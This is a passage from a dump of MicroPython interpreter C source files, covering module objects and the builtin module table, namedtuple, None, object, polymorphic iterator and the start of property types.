NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n#include <assert.h>\n\n#include \"py/mpstate.h\"\n#include \"py/nlr.h\"\n#include \"py/objmodule.h\"\n#include \"py/runtime.h\"\n#include \"py/builtin.h\"\n\nSTATIC void module_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_module_t *self = MP_OBJ_TO_PTR(self_in);\n\n    const char *module_name = \"\";\n    mp_map_elem_t *elem = mp_map_lookup(&self->globals->map, MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_MAP_LOOKUP);\n    if (elem != NULL) {\n        module_name = mp_obj_str_get_str(elem->value);\n    }\n\n#if MICROPY_PY___FILE__\n    // If we store __file__ to imported modules then try to lookup this\n    // symbol to give more information about the module.\n    elem = mp_map_lookup(&self->globals->map, MP_OBJ_NEW_QSTR(MP_QSTR___file__), MP_MAP_LOOKUP);\n    if (elem != NULL) {\n        mp_printf(print, \"<module '%s' from '%s'>\", module_name, mp_obj_str_get_str(elem->value));\n        return;\n    }\n#endif\n\n    mp_printf(print, \"<module '%s'>\", module_name);\n}\n\nSTATIC void module_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) {\n    mp_obj_module_t *self = MP_OBJ_TO_PTR(self_in);\n    if (dest[0] == MP_OBJ_NULL) {\n        // load attribute\n        mp_map_elem_t *elem = mp_map_lookup(&self->globals->map, MP_OBJ_NEW_QSTR(attr), MP_MAP_LOOKUP);\n        if (elem != NULL) {\n            dest[0] = elem->value;\n        }\n    } else {\n        // delete/store attribute\n        mp_obj_dict_t *dict = self->globals;\n        if (dict->map.is_fixed) {\n            #if MICROPY_CAN_OVERRIDE_BUILTINS\n            if (dict == &mp_module_builtins_globals) {\n                if (MP_STATE_VM(mp_module_builtins_override_dict) == NULL) {\n                    MP_STATE_VM(mp_module_builtins_override_dict) = MP_OBJ_TO_PTR(mp_obj_new_dict(1));\n                }\n                dict = MP_STATE_VM(mp_module_builtins_override_dict);\n            } else\n            #endif\n            {\n                // can't delete or store to fixed map\n                return;\n            }\n        }\n        if (dest[1] == MP_OBJ_NULL) {\n            // delete attribute\n            mp_obj_dict_delete(MP_OBJ_FROM_PTR(dict), MP_OBJ_NEW_QSTR(attr));\n        } else {\n            // store attribute\n            // TODO CPython allows STORE_ATTR to a module, but is this the correct implementation?\n            mp_obj_dict_store(MP_OBJ_FROM_PTR(dict), MP_OBJ_NEW_QSTR(attr), dest[1]);\n        }\n        dest[0] = MP_OBJ_NULL; // indicate success\n    }\n}\n\nconst mp_obj_type_t mp_type_module = {\n    { &mp_type_type },\n    .name = MP_QSTR_module,\n    .print = module_print,\n    .attr = module_attr,\n};\n\nmp_obj_t mp_obj_new_module(qstr module_name) {\n    mp_map_t *mp_loaded_modules_map = &MP_STATE_VM(mp_loaded_modules_dict).map;\n    mp_map_elem_t *el = mp_map_lookup(mp_loaded_modules_map, MP_OBJ_NEW_QSTR(module_name), MP_MAP_LOOKUP_ADD_IF_NOT_FOUND);\n    // We could error out if module already exists, but let C extensions\n    // add new members to existing modules.\n    if (el->value != MP_OBJ_NULL) {\n        return el->value;\n    }\n\n    // create new module object\n    mp_obj_module_t *o = m_new_obj(mp_obj_module_t);\n    o->base.type = &mp_type_module;\n    o->globals = MP_OBJ_TO_PTR(mp_obj_new_dict(MICROPY_MODULE_DICT_SIZE));\n\n    // store __name__ entry in the module\n    mp_obj_dict_store(MP_OBJ_FROM_PTR(o->globals), MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(module_name));\n\n    // store the new module into the slot in the global dict holding all modules\n    el->value = MP_OBJ_FROM_PTR(o);\n\n    // return the new module\n    return MP_OBJ_FROM_PTR(o);\n}\n\nmp_obj_dict_t *mp_obj_module_get_globals(mp_obj_t self_in) {\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_module));\n    mp_obj_module_t *self = MP_OBJ_TO_PTR(self_in);\n    return self->globals;\n}\n\n/******************************************************************************/\n// Global module table and related functions\n\nSTATIC const mp_rom_map_elem_t mp_builtin_module_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___main__), MP_ROM_PTR(&mp_module___main__) },\n    { MP_ROM_QSTR(MP_QSTR_builtins), MP_ROM_PTR(&mp_module_builtins) },\n    { MP_ROM_QSTR(MP_QSTR_micropython), MP_ROM_PTR(&mp_module_micropython) },\n\n#if MICROPY_PY_ARRAY\n    { MP_ROM_QSTR(MP_QSTR_array), MP_ROM_PTR(&mp_module_array) },\n#endif\n#if MICROPY_PY_IO\n    { MP_ROM_QSTR(MP_QSTR_uio), MP_ROM_PTR(&mp_module_io) },\n#endif\n#if MICROPY_PY_COLLECTIONS\n    { MP_ROM_QSTR(MP_QSTR_ucollections), MP_ROM_PTR(&mp_module_collections) },\n#endif\n#if MICROPY_PY_STRUCT\n    { MP_ROM_QSTR(MP_QSTR_ustruct), MP_ROM_PTR(&mp_module_ustruct) },\n#endif\n\n#if MICROPY_PY_BUILTINS_FLOAT\n#if MICROPY_PY_MATH\n    { MP_ROM_QSTR(MP_QSTR_math), MP_ROM_PTR(&mp_module_math) },\n#endif\n#if MICROPY_PY_BUILTINS_COMPLEX && MICROPY_PY_CMATH\n    { MP_ROM_QSTR(MP_QSTR_cmath), MP_ROM_PTR(&mp_module_cmath) },\n#endif\n#endif\n#if MICROPY_PY_SYS\n    { MP_ROM_QSTR(MP_QSTR_sys), MP_ROM_PTR(&mp_module_sys) },\n#endif\n#if MICROPY_PY_GC && MICROPY_ENABLE_GC\n    { MP_ROM_QSTR(MP_QSTR_gc), MP_ROM_PTR(&mp_module_gc) },\n#endif\n#if MICROPY_PY_THREAD\n    { MP_ROM_QSTR(MP_QSTR__thread), MP_ROM_PTR(&mp_module_thread) },\n#endif\n\n    // extmod modules\n\n#if MICROPY_PY_UERRNO\n    { MP_ROM_QSTR(MP_QSTR_uerrno), MP_ROM_PTR(&mp_module_uerrno) },\n#endif\n#if MICROPY_PY_UCTYPES\n    { MP_ROM_QSTR(MP_QSTR_uctypes), MP_ROM_PTR(&mp_module_uctypes) },\n#endif\n#if MICROPY_PY_UZLIB\n    { MP_ROM_QSTR(MP_QSTR_uzlib), MP_ROM_PTR(&mp_module_uzlib) },\n#endif\n#if MICROPY_PY_UJSON\n    { MP_ROM_QSTR(MP_QSTR_ujson), MP_ROM_PTR(&mp_module_ujson) },\n#endif\n#if MICROPY_PY_URE\n    { MP_ROM_QSTR(MP_QSTR_ure), MP_ROM_PTR(&mp_module_ure) },\n#endif\n#if MICROPY_PY_UHEAPQ\n    { MP_ROM_QSTR(MP_QSTR_uheapq), MP_ROM_PTR(&mp_module_uheapq) },\n#endif\n#if MICROPY_PY_UTIMEQ\n    { MP_ROM_QSTR(MP_QSTR_utimeq), MP_ROM_PTR(&mp_module_utimeq) },\n#endif\n#if MICROPY_PY_UHASHLIB\n    { MP_ROM_QSTR(MP_QSTR_uhashlib), MP_ROM_PTR(&mp_module_uhashlib) },\n#endif\n#if MICROPY_PY_UBINASCII\n    { MP_ROM_QSTR(MP_QSTR_ubinascii), MP_ROM_PTR(&mp_module_ubinascii) },\n#endif\n#if MICROPY_PY_URANDOM\n    { MP_ROM_QSTR(MP_QSTR_urandom), MP_ROM_PTR(&mp_module_urandom) },\n#endif\n#if MICROPY_PY_USELECT\n    { MP_ROM_QSTR(MP_QSTR_uselect), MP_ROM_PTR(&mp_module_uselect) },\n#endif\n#if MICROPY_PY_USSL\n    { MP_ROM_QSTR(MP_QSTR_ussl), MP_ROM_PTR(&mp_module_ussl) },\n#endif\n#if MICROPY_PY_LWIP\n    { MP_ROM_QSTR(MP_QSTR_lwip), MP_ROM_PTR(&mp_module_lwip) },\n#endif\n#if MICROPY_PY_WEBSOCKET\n    { MP_ROM_QSTR(MP_QSTR_websocket), MP_ROM_PTR(&mp_module_websocket) },\n#endif\n#if MICROPY_PY_WEBREPL\n    { MP_ROM_QSTR(MP_QSTR__webrepl), MP_ROM_PTR(&mp_module_webrepl) },\n#endif\n#if MICROPY_PY_FRAMEBUF\n    { MP_ROM_QSTR(MP_QSTR_framebuf), MP_ROM_PTR(&mp_module_framebuf) },\n#endif\n#if MICROPY_PY_BTREE\n    { MP_ROM_QSTR(MP_QSTR_btree), MP_ROM_PTR(&mp_module_btree) },\n#endif\n\n    // extra builtin modules as defined by a port\n    MICROPY_PORT_BUILTIN_MODULES\n};\n\nMP_DEFINE_CONST_MAP(mp_builtin_module_map, mp_builtin_module_table);\n\n#if MICROPY_MODULE_WEAK_LINKS\nSTATIC const mp_rom_map_elem_t mp_builtin_module_weak_links_table[] = {\n    MICROPY_PORT_BUILTIN_MODULE_WEAK_LINKS\n};\n\nMP_DEFINE_CONST_MAP(mp_builtin_module_weak_links_map, mp_builtin_module_weak_links_table);\n#endif\n\n// returns MP_OBJ_NULL if not found\nmp_obj_t mp_module_get(qstr module_name) {\n    mp_map_t *mp_loaded_modules_map = &MP_STATE_VM(mp_loaded_modules_dict).map;\n    // lookup module\n    mp_map_elem_t *el = mp_map_lookup(mp_loaded_modules_map, MP_OBJ_NEW_QSTR(module_name), MP_MAP_LOOKUP);\n\n    if (el == NULL) {\n        // module not found, look for builtin module names\n        el = mp_map_lookup((mp_map_t*)&mp_builtin_module_map, MP_OBJ_NEW_QSTR(module_name), MP_MAP_LOOKUP);\n        if (el == NULL) {\n            return MP_OBJ_NULL;\n        }\n\n        if (MICROPY_MODULE_BUILTIN_INIT) {\n            // look for __init__ and call it if it exists\n            mp_obj_t dest[2];\n            mp_load_method_maybe(el->value, MP_QSTR___init__, dest);\n            if (dest[0] != MP_OBJ_NULL) {\n                mp_call_method_n_kw(0, 0, dest);\n                // register module so __init__ is not called again\n                mp_module_register(module_name, el->value);\n            }\n        }\n    }\n\n    // module found, return it\n    return el->value;\n}\n\nvoid mp_module_register(qstr qst, mp_obj_t module) {\n    mp_map_t *mp_loaded_modules_map = &MP_STATE_VM(mp_loaded_modules_dict).map;\n    mp_map_lookup(mp_loaded_modules_map, MP_OBJ_NEW_QSTR(qst), MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)->value = module;\n}\n"
  },
  {
    "path": "micropython/source/py/objnamedtuple.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n\n#include \"py/nlr.h\"\n#include \"py/objtuple.h\"\n#include \"py/runtime.h\"\n#include \"py/objstr.h\"\n\n#if MICROPY_PY_COLLECTIONS\n\ntypedef struct _mp_obj_namedtuple_type_t {\n    mp_obj_type_t base;\n    size_t n_fields;\n    qstr fields[];\n} mp_obj_namedtuple_type_t;\n\ntypedef struct _mp_obj_namedtuple_t {\n    mp_obj_tuple_t tuple;\n} mp_obj_namedtuple_t;\n\nSTATIC size_t namedtuple_find_field(const mp_obj_namedtuple_type_t *type, qstr name) {\n    for (size_t i = 0; i < type->n_fields; i++) {\n        if (type->fields[i] == name) {\n            return i;\n        }\n    }\n    return (size_t)-1;\n}\n\nSTATIC void namedtuple_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_namedtuple_t *o = MP_OBJ_TO_PTR(o_in);\n    mp_printf(print, \"%q\", o->tuple.base.type->name);\n    const qstr *fields = ((mp_obj_namedtuple_type_t*)o->tuple.base.type)->fields;\n    mp_obj_attrtuple_print_helper(print, fields, &o->tuple);\n}\n\nSTATIC void namedtuple_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) {\n    if (dest[0] == MP_OBJ_NULL) {\n        // load attribute\n        mp_obj_namedtuple_t *self = MP_OBJ_TO_PTR(self_in);\n        size_t id = namedtuple_find_field((mp_obj_namedtuple_type_t*)self->tuple.base.type, attr);\n        if (id == (size_t)-1) {\n            return;\n        }\n        dest[0] = self->tuple.items[id];\n    } else {\n        // delete/store attribute\n        // provide more detailed error message than we'd get by just returning\n        mp_raise_msg(&mp_type_AttributeError, \"can't set attribute\");\n    }\n}\n\nSTATIC mp_obj_t namedtuple_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    const mp_obj_namedtuple_type_t *type = (const mp_obj_namedtuple_type_t*)type_in;\n    size_t num_fields = type->n_fields;\n    if (n_args + n_kw != num_fields) {\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_arg_error_terse_mismatch();\n        } else if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_NORMAL) {\n            nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                \"function takes %d positional arguments but %d were given\",\n                num_fields, n_args + n_kw));\n        } else if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_DETAILED) {\n            nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                \"%q() takes %d positional arguments but %d were given\",\n                type->base.name, num_fields, n_args + n_kw));\n        }\n    }\n\n    // Create a tuple and set the type to this namedtuple\n    mp_obj_tuple_t *tuple = MP_OBJ_TO_PTR(mp_obj_new_tuple(num_fields, NULL));\n    tuple->base.type = type_in;\n\n    // Copy the positional args into the first slots of the namedtuple\n    memcpy(&tuple->items[0], args, sizeof(mp_obj_t) * n_args);\n\n    // Fill in the remaining slots with the keyword args\n    memset(&tuple->items[n_args], 0, sizeof(mp_obj_t) * n_kw);\n    for (size_t i = n_args; i < n_args + 2 * n_kw; i += 2) {\n        qstr kw = mp_obj_str_get_qstr(args[i]);\n        size_t id = namedtuple_find_field(type, kw);\n        if (id == (size_t)-1) {\n            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                mp_arg_error_terse_mismatch();\n            } else {\n                nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                    \"unexpected keyword argument '%q'\", kw));\n            }\n        }\n        if (tuple->items[id] != MP_OBJ_NULL) {\n            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                mp_arg_error_terse_mismatch();\n            } else {\n                nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                    \"function got multiple values for argument '%q'\", kw));\n            }\n        }\n        tuple->items[id] = args[i + 1];\n    }\n\n    return MP_OBJ_FROM_PTR(tuple);\n}\n\nSTATIC mp_obj_t mp_obj_new_namedtuple_type(qstr name, size_t n_fields, mp_obj_t *fields) {\n    mp_obj_namedtuple_type_t *o = m_new_obj_var(mp_obj_namedtuple_type_t, qstr, n_fields);\n    memset(&o->base, 0, sizeof(o->base));\n    o->base.base.type = &mp_type_type;\n    o->base.name = name;\n    o->base.print = namedtuple_print;\n    o->base.make_new = namedtuple_make_new;\n    o->base.unary_op = mp_obj_tuple_unary_op;\n    o->base.binary_op = mp_obj_tuple_binary_op;\n    o->base.attr = namedtuple_attr;\n    o->base.subscr = mp_obj_tuple_subscr;\n    o->base.getiter = mp_obj_tuple_getiter;\n    o->base.parent = &mp_type_tuple;\n    o->n_fields = n_fields;\n    for (size_t i = 0; i < n_fields; i++) {\n        o->fields[i] = mp_obj_str_get_qstr(fields[i]);\n    }\n    return MP_OBJ_FROM_PTR(o);\n}\n\nSTATIC mp_obj_t new_namedtuple_type(mp_obj_t name_in, mp_obj_t fields_in) {\n    qstr name = mp_obj_str_get_qstr(name_in);\n    size_t n_fields;\n    mp_obj_t *fields;\n    #if MICROPY_CPYTHON_COMPAT\n    if (MP_OBJ_IS_STR(fields_in)) {\n        fields_in = mp_obj_str_split(1, &fields_in);\n    }\n    #endif\n    mp_obj_get_array(fields_in, &n_fields, &fields);\n    return mp_obj_new_namedtuple_type(name, n_fields, fields);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(mp_namedtuple_obj, new_namedtuple_type);\n\n#endif // MICROPY_PY_COLLECTIONS\n"
  },
  {
    "path": "micropython/source/py/objnone.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n\n#include \"py/nlr.h\"\n#include \"py/obj.h\"\n#include \"py/runtime0.h\"\n\ntypedef struct _mp_obj_none_t {\n    mp_obj_base_t base;\n} mp_obj_none_t;\n\nSTATIC void none_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    (void)self_in;\n    if (MICROPY_PY_UJSON && kind == PRINT_JSON) {\n        mp_print_str(print, \"null\");\n    } else {\n        mp_print_str(print, \"None\");\n    }\n}\n\nconst mp_obj_type_t mp_type_NoneType = {\n    { &mp_type_type },\n    .name = MP_QSTR_NoneType,\n    .print = none_print,\n    .unary_op = mp_generic_unary_op,\n};\n\nconst mp_obj_none_t mp_const_none_obj = {{&mp_type_NoneType}};\n"
  },
  {
    "path": "micropython/source/py/objobject.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n\n#include \"py/objtype.h\"\n#include \"py/runtime.h\"\n\ntypedef struct _mp_obj_object_t {\n    mp_obj_base_t base;\n} mp_obj_object_t;\n\nSTATIC mp_obj_t object_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    (void)args;\n    mp_arg_check_num(n_args, n_kw, 0, 0, false);\n    mp_obj_object_t *o = m_new_obj(mp_obj_object_t);\n    o->base.type = type;\n    return MP_OBJ_FROM_PTR(o);\n}\n\n#if MICROPY_CPYTHON_COMPAT\nSTATIC mp_obj_t object___init__(mp_obj_t self) {\n    (void)self;\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(object___init___obj, object___init__);\n\nSTATIC mp_obj_t object___new__(mp_obj_t cls) {\n    if (!MP_OBJ_IS_TYPE(cls, &mp_type_type) || !mp_obj_is_instance_type((mp_obj_type_t*)MP_OBJ_TO_PTR(cls))) {\n        mp_raise_TypeError(\"__new__ arg must be a user-type\");\n    }\n    mp_obj_t o = MP_OBJ_SENTINEL;\n    mp_obj_t res = mp_obj_instance_make_new(MP_OBJ_TO_PTR(cls), 1, 0, &o);\n    return res;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(object___new___fun_obj, object___new__);\nSTATIC MP_DEFINE_CONST_STATICMETHOD_OBJ(object___new___obj, MP_ROM_PTR(&object___new___fun_obj));\n\nSTATIC const mp_rom_map_elem_t object_locals_dict_table[] = {\n    #if MICROPY_CPYTHON_COMPAT\n    { MP_ROM_QSTR(MP_QSTR___init__), MP_ROM_PTR(&object___init___obj) },\n    #endif\n    #if MICROPY_CPYTHON_COMPAT\n    { MP_ROM_QSTR(MP_QSTR___new__), MP_ROM_PTR(&object___new___obj) },\n    #endif\n};\n\nSTATIC MP_DEFINE_CONST_DICT(object_locals_dict, object_locals_dict_table);\n#endif\n\nconst mp_obj_type_t mp_type_object = {\n    { &mp_type_type },\n    .name = MP_QSTR_object,\n    .make_new = object_make_new,\n    #if MICROPY_CPYTHON_COMPAT\n    .locals_dict = (mp_obj_dict_t*)&object_locals_dict,\n    #endif\n};\n"
  },
  {
    "path": "micropython/source/py/objpolyiter.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n\n#include \"py/nlr.h\"\n#include \"py/runtime.h\"\n\n// This is universal iterator type which calls \"iternext\" method stored in\n// particular object instance. (So, each instance of this time can have its\n// own iteration behavior.) Having this type saves to define type objects\n// for various internal iterator objects.\n\n// Any instance should have these 2 fields at the beginning\ntypedef struct _mp_obj_polymorph_iter_t {\n    mp_obj_base_t base;\n    mp_fun_1_t iternext;\n} mp_obj_polymorph_iter_t;\n\nSTATIC mp_obj_t polymorph_it_iternext(mp_obj_t self_in) {\n    mp_obj_polymorph_iter_t *self = MP_OBJ_TO_PTR(self_in);\n    // Redirect call to object instance's iternext method\n    return self->iternext(self_in);\n}\n\nconst mp_obj_type_t mp_type_polymorph_iter = {\n    { &mp_type_type },\n    .name = MP_QSTR_iterator,\n    .getiter = mp_identity_getiter,\n    .iternext = polymorph_it_iternext,\n};\n"
  },
  {
    "path": "micropython/source/py/objproperty.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/runtime.h\"\n\n#if MICROPY_PY_BUILTINS_PROPERTY\n\ntypedef struct _mp_obj_property_t {\n    mp_obj_base_t base;\n    mp_obj_t proxy[3]; // getter, setter, deleter\n} mp_obj_property_t;\n\nSTATIC mp_obj_t property_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    enum { ARG_fget, ARG_fset, ARG_fdel, ARG_doc };\n    static const mp_arg_t allowed_args[] = {\n        { MP_QSTR_, MP_ARG_OBJ, {.u_rom_obj = MP_ROM_PTR(&mp_const_none_obj)} },\n        { MP_QSTR_, MP_ARG_OBJ, {.u_rom_obj = MP_ROM_PTR(&mp_const_none_obj)} },\n        { MP_QSTR_, MP_ARG_OBJ, {.u_rom_obj = MP_ROM_PTR(&mp_const_none_obj)} },\n        { MP_QSTR_doc, MP_ARG_OBJ, {.u_rom_obj = MP_ROM_PTR(&mp_const_none_obj)} },\n    };\n    mp_arg_val_t vals[MP_ARRAY_SIZE(allowed_args)];\n    mp_arg_parse_all_kw_array(n_args, n_kw, args, MP_ARRAY_SIZE(allowed_args), allowed_args, vals);\n\n    mp_obj_property_t *o = m_new_obj(mp_obj_property_t);\n    o->base.type = type;\n    o->proxy[0] = vals[ARG_fget].u_obj;\n    o->proxy[1] = vals[ARG_fset].u_obj;\n    o->proxy[2] = vals[ARG_fdel].u_obj;\n    // vals[ARG_doc] is silently discarded\n    return MP_OBJ_FROM_PTR(o);\n}\n\nSTATIC mp_obj_t property_getter(mp_obj_t self_in, mp_obj_t getter) {\n    mp_obj_property_t *p2 = m_new_obj(mp_obj_property_t);\n    *p2 = *(mp_obj_property_t*)MP_OBJ_TO_PTR(self_in);\n    p2->proxy[0] = getter;\n    return MP_OBJ_FROM_PTR(p2);\n}\n\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(property_getter_obj, property_getter);\n\nSTATIC mp_obj_t property_setter(mp_obj_t self_in, mp_obj_t setter) {\n    mp_obj_property_t *p2 = m_new_obj(mp_obj_property_t);\n    *p2 = *(mp_obj_property_t*)MP_OBJ_TO_PTR(self_in);\n    p2->proxy[1] = setter;\n    return MP_OBJ_FROM_PTR(p2);\n}\n\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(property_setter_obj, property_setter);\n\nSTATIC mp_obj_t property_deleter(mp_obj_t self_in, mp_obj_t deleter) {\n    mp_obj_property_t *p2 = m_new_obj(mp_obj_property_t);\n    *p2 = *(mp_obj_property_t*)MP_OBJ_TO_PTR(self_in);\n    p2->proxy[2] = deleter;\n    return MP_OBJ_FROM_PTR(p2);\n}\n\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(property_deleter_obj, property_deleter);\n\nSTATIC const mp_rom_map_elem_t property_locals_dict_table[] = {\n    { MP_ROM_QSTR(MP_QSTR_getter), MP_ROM_PTR(&property_getter_obj) },\n    { MP_ROM_QSTR(MP_QSTR_setter), MP_ROM_PTR(&property_setter_obj) },\n    { MP_ROM_QSTR(MP_QSTR_deleter), MP_ROM_PTR(&property_deleter_obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(property_locals_dict, property_locals_dict_table);\n\nconst mp_obj_type_t mp_type_property = {\n    { &mp_type_type },\n    .name = MP_QSTR_property,\n    .make_new = property_make_new,\n    .locals_dict = (mp_obj_dict_t*)&property_locals_dict,\n};\n\nconst mp_obj_t *mp_obj_property_get(mp_obj_t self_in) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_property));\n    